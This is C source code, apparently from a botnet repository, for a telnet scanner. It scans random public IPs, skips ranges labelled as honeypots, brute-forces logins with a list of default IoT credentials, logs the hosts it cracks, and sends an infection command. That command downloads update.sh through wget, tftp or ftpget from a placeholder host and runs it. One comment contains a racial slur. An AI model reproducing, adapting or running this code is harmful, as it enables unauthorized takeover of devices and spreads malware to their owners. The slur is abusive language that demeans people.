Path: blob/master/Botnets/Scanning/TELNET/telnet_scanner.c
5038 views
#include <stdarg.h>1#include <errno.h>2#include <stdio.h>3#include <stdlib.h>4#include <string.h>5#include <fcntl.h>6#include <strings.h>7#include <string.h>8#include <unistd.h>9#include <dirent.h>10#include <poll.h>11#include <netdb.h>12#include <time.h>13#include <net/if.h>14#include <sys/wait.h>15#include <sys/time.h>16#include <sys/ioctl.h>17#include <arpa/inet.h>18#include <sys/socket.h>19#include <netinet/ip.h>20#include <netinet/in.h>21#include <netinet/tcp.h>22#include <netinet/udp.h>23#include <resolv.h>24//amp setting25#define MAX_PACKET_SIZE 102426#define PHI 0x9e3779b92728//telnet scanner stuff29#define BUFFER_SIZE 102430#define CMD_IAC 25531#define CMD_WILL 25132#define CMD_WONT 25233#define CMD_DO 25334#define CMD_DONT 2543536#define PAD_RIGHT 137#define PAD_ZERO 238#define PRINT_BUF_LEN 123940#define OPT_SGA 341#define SOCKBUF_SIZE 1024424344// Telnet scanner payload, must end with \r\n\045char *rekdevice = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0/update.sh; busybox wget http://0.0.0.0/update.sh; tftp -r update.sh -g 0.0.0.0; busybox tftp -r update.sh -g 0.0.0.0; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 update.sh update.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 update.sh update.sh; chmod 777 update.sh; busybox chmod 777 update.sh; sh update.sh; rm -rf update.sh\r\n\0";4647char *usernames[] = {48"\0",49"root\0",50"root\0",51"root\0",52"root\0",53"root\0",54"root\0",55"root\0",56"root\0",57"root\0",58"root\0",59"root\0",60"root\0",61"root\0",62"root\0",63"root\0",64"root\0",65"root\0",66"root\0",67"root\0",68"root\0",69"root\0",70"root\0",71"root\0",72"root\0",73"root\0",74"root\0",75"root\0",76"root\0",77"admin\0",78"admin\0",79"admin\0",80"admin\0",81"admin\0",82"admin\0",83"admin\0",84"admin\0",85"admin\0",86"admin\0",87"admin\0",88"admin\0",89"admin\0",90"admin\0",91"admin\0",92"admin\0",93"admin\0",94"admin\0",95"admin\0",96"admin\0",97"admin\0",98"guest\0",99"guest\0",100"guest\0",101"guest\0",102"guest\0",103"guest\0",104"guest\0",105"root\0",106"admin\0",107"root\0",108"default\0",109"user\0",110"guest\0",111"daemon\0",112"admin\0",113"admin\0",114"root\0",115"admin\0",116"adm\0",117"guest\0",118"root\0",119"root\0",120"telnet\0",121"root\0",122"admin\0",123"admin\0",124"Administrator\0",125"root\0",126"mg3500\0",127"admin\0",128"admin\0",129"admin\0",130"admin\0",131"admin\0",132"admin\0",133"default\0",134"admin\0",135"admin\0",136"admin\0",137"root\0",138"root\0",139"root\0",140"root\0",141"admin1\0",142"ubnt\0",143"support\0",144"root\0",145"user\0",146"guest\0"147};148149char *passwords[] = {150"\0",151"root\0",152"password\0",153"\0",154"Zte521\0",155"vizxv\0",156"000000\0",157"14567\0",158"hi3518\0",159"user\0",160"pass\0",161"admin14\0",162"7ujMko0admin\0",163"00000000\0",164"<>\0",165"klv1\0",166"klv14\0",167"oelinux1\0",168"realtek\0",169"1111\0",170"54321\0",171"antslq\0",172"zte9x15\0",173"system\0",174"1456\0",175"888888\0",176"ikwb\0",177"default\0",178"juantech\0",179"xc3511\0",180"support\0",181"1111111\0",182"service\0",183"145\0",184"4321\0",185"tech\0",186"<>\0",187"abc1\0",188"7ujMko0admin\0",189"switch\0",190"admin14\0",191"\0",192"1111\0",193"meinsm\0",194"pass\0",195"smcadmin\0",196"14567890\0",197"14\0",198"admin1\0",199"password\0",200"admin\0",201"anko\0",202"xc3511\0",203"1456\0",204"\0",205"guest\0",206"145\0",207"xc3511\0",208"admin\0",209"Zte521\0",210"\0",211"user\0",212"guest\0",213"\0",214"password\0",215"admin1\0",216"ikwb\0",217"14567890\0",218"\0",219"\0",220"1456\0",221"root\0",222"telnet\0",223"zte9x15\0",224"meinsm\0",225"\0",226"\0",227"antslq\0",228"merlin\0",229"switch\0",230"7ujMko0admin\0",231"abc1\0",232"<>\0",233"tech\0",234"4321\0",235"default\0",236"145\0",237"service\0",238"1111111\0",239"admin14\0",240"pass\0",241"user\0",242"hi3518\0",243"password\0",244"ubnt\0",245"zlxx.\0",246"14567\0",247"000000\0"248};249250char *advances[] = {251":",252"ser",253"ogin",254"name",255"pass",256"dvrdvs",257(char *) 0258};259char *fails[] = {260"nvalid",261"ailed",262"ncorrect",263"enied",264"error",265"goodbye",266"bad",267"timeout",268(char *) 0269};270char *successes[] = {271"$",272"#",273">",274"@",275"shell",276"dvrdvs",277"usybox",278(char *) 0279};280char *advances2[] = {281":",282"nvalid",283"ailed",284"ncorrect",285"enied",286"rror",287"oodbye",288"bad",289"busybox",290"$",291"#",292(char *) 0293};294char *legit[] = {295"AK47",296(char *) 0297};298char *infected[] = {299"CAPSAICIN",300(char *) 0301};302303int scanPid = 0;304305struct telstate_t {306int fd;307unsigned int ip;308unsigned char state;309unsigned char complete;310unsigned char usernameInd; /* username */311unsigned char passwordInd; /* password */312unsigned int totalTimeout; /* totalTimeout */313char *sockbuf;314};315316struct ipstate_t {317int fd;318unsigned int ip;319unsigned char state;320unsigned char complete;321unsigned char usernameInd;322unsigned char passwordInd;323unsigned int totalTimeout;324unsigned int telPort;325char *sockbuf;326};327328static uint32_t Q[4096], c = 362436;329330void init_rand(uint32_t x)331{332int i;333Q[0] = x;334Q[1] = x + PHI;335Q[2] = x + PHI + PHI;336for (i = 3; i < 4096; i++)337Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;338}339340uint32_t rand_cmwc(void)341{342uint64_t t, a = 18782LL;343static uint32_t i = 4095;344uint32_t x, r = 0xfffffffe;345i = (i + 1)&4095;346t = a * Q[i] + c;347c = (t >> 32);348x = t + c;349if(x < c) {350x++;351c++;352}353return (Q[i] = r - x);354}355356static void printchar(unsigned char ** str, int c) {357if (str) { **358str = c;359++( * str);360} else(void) write(1,&c, 1);361}362static int prints(unsigned char ** out,363const unsigned char *string, int width, int pad) {364register int pc = 0, padchar = ' ';365if (width > 0) {366register int len = 0;367register368const unsigned char *ptr;369for (ptr = string;* ptr; ++ptr) ++len;370if (len >= width) width = 0;371else width -= len;372if (pad&PAD_ZERO) padchar = '0';373}374if (!(pad&PAD_RIGHT)) {375for (; width > 0; --width) {376printchar(out, padchar);377++pc;378}379}380for (;* string; ++string) {381printchar(out, * string);382++pc;383}384for (; width > 0; --width) {385printchar(out, padchar);386++pc;387}388return pc;389}390static int printi(unsigned char ** out, int i, int b, int sg, int width, int pad, int letbase) {391unsigned char print_buf[PRINT_BUF_LEN];392register unsigned char *s;393register int t, neg = 0, pc = 0;394register unsigned int u = i;395if (i == 0) {396print_buf[0] = '0';397print_buf[1] = '\0';398return prints(out, print_buf, width, pad);399}400if (sg && b == 10 && i < 0) {401neg = 1;402u = -i;403}404405s = print_buf + PRINT_BUF_LEN - 1;406* s = '\0';407while (u) {408t = u % b;409if (t >= 10)410t += letbase - '0' - 10;411*--s = t + '0';412u /= b;413}414if (neg) {415if (width && (pad&PAD_ZERO)) {416printchar(out, '-');417++pc;418--width;419} else {420*--s = '-';421}422}423424return pc + prints(out, s, width, pad);425}426static int print(unsigned char ** out,427const unsigned char *format, va_list args) {428register int width, pad;429register int pc = 0;430unsigned char scr[2];431for (;* format != 0; ++format) {432if ( * format == '%') {433++format;434width = pad = 0;435if ( * format == '\0') break;436if ( * format == '%') goto out;437if ( * format == '-') {438++format;439pad = PAD_RIGHT;440}441while ( * format == '0') {442++format;443pad |= PAD_ZERO;444}445for (;* format >= '0' && * format <= '9'; ++format) {446width *= 10;447width += * format - '0';448}449if ( * format == 's') {450register char *s = (char *) va_arg(args, int);451pc += prints(out, s ? s : "(null)", width, pad);452continue;453}454if ( * format == 'd') {455pc += printi(out, va_arg(args, int), 10, 1, width, pad, 'a');456continue;457}458if ( * format == 'x') {459pc += printi(out, va_arg(args, int), 16, 0, width, pad, 'a');460continue;461}462if ( * format == 'X') {463pc += printi(out, va_arg(args, int), 16, 0, width, pad, 'A');464continue;465}466if ( * format == 'u') {467pc += printi(out, va_arg(args, int), 10, 0, width, pad, 'a');468continue;469}470if ( * format == 'c') {471scr[0] = (unsigned char) va_arg(args, int);472scr[1] = '\0';473pc += prints(out, scr, width, pad);474continue;475}476} else {477out: printchar(out, * format);478++pc;479}480}481if (out) ** out = '\0';482va_end(args);483return pc;484}485486int szprintf(unsigned char *out,487const unsigned char *format, ...) {488va_list args;489va_start(args, format);490return print(&out, format, args);491}492493char *thanks = "thanks to unhappygh0st for the honeypot ip ranges :)";494495in_addr_t getDatIP() {496uint8_t ipState[4] = {4970498};499ipState[0] = rand() % 255;500ipState[1] = rand() % 255;501ipState[2] = rand() % 255;502ipState[3] = rand() % 255;503504while (505(ipState[0] == 0) ||506(ipState[0] == 10) ||507(ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||508(ipState[0] == 127) ||509(ipState[0] == 169 && ipState[1] == 254) ||510(ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||511(ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||512(ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||513(ipState[0] == 192 && ipState[1] == 168) ||514(ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||515(ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||516(ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||517(ipState[0] == 62 && ipState[1] <= 30) || //Honeypot518(ipState[0] == 207 && ipState[1] >= 31 && ipState[2] <= 120) || //FBI Honeypots (207.31.0.0 - 207.120.255.255)519(ipState[0] == 65) && (ipState[1] >= 224) && (ipState[2] <= 226) || // More FBI Honeypots (64.224.0.0 - 64.226.255.255)520(ipState[0] == 195) && (ipState[1] == 10) || //Yet another FBI Honeypot.521(ipState[0] == 216) && (ipState[1] == 25 || ipState[1] == 94) || //Fucking nigger LOL (FBI Honeypots)522(ipState[0] == 212) && (ipState[1] == 56) || //The fuck?! 212.56.107.22 - uhhhhm. FBI Honeypot.523(ipState[0] >= 224) && (ipState[0] <= 239) //Multicast ip ranges524) {525ipState[0] = rand() % 255;526ipState[1] = rand() % 255;527ipState[2] = rand() % 255;528ipState[3] = rand() % 255;529}530531char ip[16] = {5320533};534szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);535return inet_addr(ip);536}537int negotiate(int sock, unsigned char *buf, int len) {538unsigned char c;539switch (buf[1]) {540case CMD_IAC:541return 0;542case CMD_WILL:543case CMD_WONT:544case CMD_DO:545case CMD_DONT:546c = CMD_IAC;547send(sock,&c, 1, MSG_NOSIGNAL);548if (CMD_WONT == buf[1]) c = CMD_DONT;549else if (CMD_DONT == buf[1]) c = CMD_WONT;550else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);551else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);552send(sock,&c, 1, MSG_NOSIGNAL);553send(sock,&(buf[2]), 1, MSG_NOSIGNAL);554break;555default:556break;557}558559return 0;560}561562int contains_string(char *buffer, char ** strings) {563int num_strings = 0, i = 0;564for (num_strings = 0; strings[++num_strings] != 0;);565for (i = 0; i < num_strings; i++) {566if (strcasestr(buffer, strings[i])) {567return 1;568}569}570return 0;571}572int contains_success(char *buffer) {573return contains_string(buffer, successes);574}575int contains_fail(char *buffer) {576return contains_string(buffer, fails);577}578int contains_response(char *buffer) {579return contains_success(buffer) || contains_fail(buffer);580}581int read_with_timeout(int fd, int timeout_usec, char *buffer, int buf_size) {582fd_set read_set;583struct timeval tv;584tv.tv_sec = 0;585tv.tv_usec = timeout_usec;586FD_ZERO(&read_set);587FD_SET(fd,&read_set);588if (select(fd + 1,&read_set, NULL, NULL,&tv) < 1)589return 0;590return recv(fd, buffer, buf_size, 0);591}592int read_until_response(int fd, int timeout_usec, char *buffer, int buf_size, char ** strings) {593int num_bytes, i;594memset(buffer, 0, buf_size);595num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);596if (&buffer[0] == "\xFF") {597negotiate(fd, buffer, 3);598}599600if (contains_string(buffer, strings)) {601return 1;602}603604return 0;605}606const char *get_telstate_host(struct telstate_t * telstate) { // get host607struct in_addr in_addr_ip;608in_addr_ip.s_addr = telstate->ip;609return inet_ntoa(in_addr_ip);610}611void advance_telstate(struct telstate_t * telstate, int new_state) { // advance612if (new_state == 0) {613close(telstate->fd);614}615telstate->totalTimeout = 0;616telstate->state = new_state;617memset((telstate->sockbuf), 0, SOCKBUF_SIZE);618}619void reset_telstate(struct telstate_t * telstate) { // reset620advance_telstate(telstate, 0);621telstate->complete = 1;622}623int sclose(int fd) {624if (3 > fd) return 1;625close(fd);626return 0;627}628void ak47telscan(int wait_usec, int maxfds) {629int i, res, num_tmps, j;630char buf[128], cur_dir;631632int max = maxfds;633fd_set fdset;634struct timeval tv;635socklen_t lon;636int valopt;637638srand(time(NULL) ^ rand_cmwc());639640char line[256];641char *buffer;642struct sockaddr_in dest_addr;643dest_addr.sin_family = AF_INET;644dest_addr.sin_port = htons(23);645memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);646647buffer = malloc(BUFFER_SIZE + 1);648memset(buffer, 0, BUFFER_SIZE + 1);649650struct telstate_t fds[max];651652memset(fds, 0, max * (sizeof(int) + 1));653for (i = 0; i < max; i++) {654memset(&(fds[i]), 0, sizeof(struct telstate_t));655fds[i].complete = 1;656fds[i].sockbuf = buffer;657}658659while (1) {660for (i = 0; i < max; i++) {661if (fds[i].totalTimeout == 0) {662fds[i].totalTimeout = time(NULL);663}664665switch (fds[i].state) {666case 0:667{668if (fds[i].complete == 1) {669// clear the current fd670char *tmp = fds[i].sockbuf;671memset(&(fds[i]), 0, sizeof(struct telstate_t));672fds[i].sockbuf = tmp;673// get a new random ip674fds[i].ip = getDatIP();675} else if (fds[i].complete == 0) {676fds[i].passwordInd++;677fds[i].usernameInd++;678679if (fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) {680fds[i].complete = 1;681continue;682}683if (fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) {684fds[i].complete = 1;685continue;686}687}688689dest_addr.sin_family = AF_INET;690dest_addr.sin_port = htons(23);691memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);692dest_addr.sin_addr.s_addr = fds[i].ip;693694fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);695696if (fds[i].fd == -1) continue;697698fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);699700if (connect(fds[i].fd, (struct sockaddr * )&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {701reset_telstate(&fds[i]);702} else {703advance_telstate(&fds[i], 1);704}705}706break;707case 1:708{709printf("[AK-47] FOUND ---> %s:23\n", get_telstate_host(&fds[i]));710FD_ZERO(&fdset);711FD_SET(fds[i].fd,&fdset);712tv.tv_sec = 0;713tv.tv_usec = wait_usec;714res = select(fds[i].fd + 1, NULL,&fdset, NULL,&tv);715716if (res == 1) {717lon = sizeof(int);718valopt = 0;719getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void * )(&valopt),&lon);720//printf("%d\n",valopt);721if (valopt) {722reset_telstate(&fds[i]);723} else {724fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL)&(~O_NONBLOCK));725advance_telstate(&fds[i], 2);726}727continue;728} else if (res == -1) {729reset_telstate(&fds[i]);730continue;731}732733if (fds[i].totalTimeout + 5 < time(NULL)) {734reset_telstate(&fds[i]);735}736}737break;738739case 2:740{741if (read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {742if (contains_fail(fds[i].sockbuf)) {743advance_telstate(&fds[i], 0);744} else {745advance_telstate(&fds[i], 3);746}747748continue;749}750751if (fds[i].totalTimeout + 7 < time(NULL)) {752reset_telstate(&fds[i]);753}754}755break;756757case 3:758{759if (send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {760reset_telstate(&fds[i]);761continue;762}763764if (send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {765reset_telstate(&fds[i]);766continue;767}768769advance_telstate(&fds[i], 4);770}771break;772773case 4:774{775if (read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {776if (contains_fail(fds[i].sockbuf)) {777advance_telstate(&fds[i], 0);778} else {779advance_telstate(&fds[i], 5);780}781continue;782}783784if (fds[i].totalTimeout + 3 < time(NULL)) {785reset_telstate(&fds[i]);786}787}788break;789790case 5:791{792if (send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {793reset_telstate(&fds[i]);794continue;795}796797if (send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {798reset_telstate(&fds[i]);799continue;800}801advance_telstate(&fds[i], 6);802}803break;804805case 6:806{807if (read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2)) {808fds[i].totalTimeout = time(NULL);809810if (contains_fail(fds[i].sockbuf)) {811advance_telstate(&fds[i], 0);812} else if (contains_success(fds[i].sockbuf)) {813if (fds[i].complete == 2) {814advance_telstate(&fds[i], 7);815} else {816printf("[AK-47] [-] CRACKED ---> %s:23 %s:%s\n", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);817char command[1024];818sprintf(command, "echo '%s:23 %s:%s' >> cracked.txt", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);819system(command);820advance_telstate(&fds[i], 7);821}822} else {823reset_telstate(&fds[i]);824}825continue;826}827828if (fds[i].totalTimeout + 7 < time(NULL)) {829reset_telstate(&fds[i]);830}831}832break;833case 7:834{835fds[i].totalTimeout = time(NULL);836if (send(fds[i].fd, "enable\r\n", 8, MSG_NOSIGNAL) < 0) {837sclose(fds[i].fd);838fds[i].state = 0;839fds[i].complete = 1;840continue;841}842if (send(fds[i].fd, "system\r\n", 8, MSG_NOSIGNAL) < 0) {843sclose(fds[i].fd);844fds[i].state = 0;845fds[i].complete = 1;846continue;847}848if (send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0) {849sclose(fds[i].fd);850fds[i].state = 0;851fds[i].complete = 1;852continue;853}854if (send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) {855sclose(fds[i].fd);856fds[i].state = 0;857fds[i].complete = 1;858continue;859}860if(send(fds[i].fd, "echo -e '\\x41\\x4b\\x34\\x37'", 26, MSG_NOSIGNAL) < 0) {861sclose(fds[i].fd);862fds[i].state = 0;863fds[i].complete = 1;864continue;865}866if (read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, legit)) {867if (send(fds[i].fd, rekdevice, strlen(rekdevice), MSG_NOSIGNAL) > 0) {868printf("[AK-47] [-] PAYLOAD SENT ---> %s:23 %s:%s\n", inet_ntoa( * (struct in_addr * )&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);869reset_telstate(&fds[i]);870}871sleep(20);872if (read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, infected)) {873printf("[AK-47] [+] SUCCESSFUL INFECTION ---> %s:23 %s:%s\n", inet_ntoa( * (struct in_addr * )&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);874reset_telstate(&fds[i]);875continue;876}877if (fds[i].totalTimeout + 60 < time(NULL)) {878if (fds[i].complete != 3) {879printf("[AK-47] [-] FAILED TO INFECT ---> %s:23 %s:%s\n", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);880}881reset_telstate(&fds[i]);882}883}884break;885}886}887}888}889}890891int main(int argc, char **argv) {892uint32_t parent;893parent = fork();894int forks = sysconf(_SC_NPROCESSORS_ONLN);895int fds = forks * 512; //Far effective. 512 sockets for each CPU.896if (parent > 0) {897scanPid = parent;898return 0;899} else if (parent == -1) return 1;900int ii;901for (ii = 0; ii < forks; ii++) {902srand((time(NULL) ^ getpid()) + getppid());903init_rand(time(NULL) ^ getpid());904ak47telscan(370, fds);905}906return 0;907}908909